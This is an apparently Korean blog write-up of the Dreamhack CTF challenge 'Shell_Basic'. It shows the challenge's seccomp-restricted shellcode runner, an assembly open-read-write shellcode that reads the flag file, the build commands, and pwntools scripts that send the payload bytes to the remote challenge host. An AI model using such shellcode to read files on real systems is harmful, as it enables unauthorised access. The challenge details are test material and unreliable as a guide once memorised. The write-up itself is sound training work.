Shell_Basic
Shell_Basic
Description
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{…} 입니다. DH{ 와 }도 모두 포함하여 인증해야 합니다.
프로그램 분석
문제에서 제시된 프로그램을 실행하면 Shellcode를 입력받는다.
포함되어있는 소스를 보면 쉘코드를 받아서 실행을 해준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
execve, execveat 함수는 사용하지 못 하도록 되어있어 Flag를 ORW(Open Read Write) 쉘코드를 통해 읽어야한다.
ShellCode 작성
* shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
; File name: shellcode.asm
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f ; oooooong
push rax
mov rax, 0x6c5f73695f656d61 ; ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ; c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ; ell_basi
push rax
mov rax, 0x68732f656d6f682f ; /home/sh
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
syscall ; Open
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall ;Read
mov rdi, 0x1
mov rax, 0x1
syscall ; Write
Flag 파일의 경로는 /home/shell_basic/flag_name_is_loooooong로 8 Btye 씩 잘라서 스택에 Push 해준다.
asm을 작성 후 아래 명령어를 통해 쉘코드를 작성한다.
8 Byte 씩 자른 문자열은 아래 명령어를 통해 little endian 방식으로 packing을 진행한다.
1
2
>>> p64(int(binascii.hexlify(b"oooooong"),16)).hex()
'676e6f6f6f6f6f6f'
1
2
3
4
nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
패킹을 진행한 쉘코드 바이트를 pwntools를 통해 서버에 입력한다.
1
2
3
4
5
6
7
8
from pwn import *
p = remote("host3.dreamhack.games",18477)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.send(shellcode)
p.interactive()
아래는 ShellCraft를 통해 작성한 ORW Shellcode 이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch="amd64", os="linux")
p = remote("host3.dreamhack.games",17850)
shellcode = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read("rax","rsp",100)
shellcode += shellcraft.write(1,"rsp",100)
p.recvuntil("shellcode:")
p.send(asm(shellcode))
print(p.recvline())
This post is licensed under CC BY 4.0 by the author.

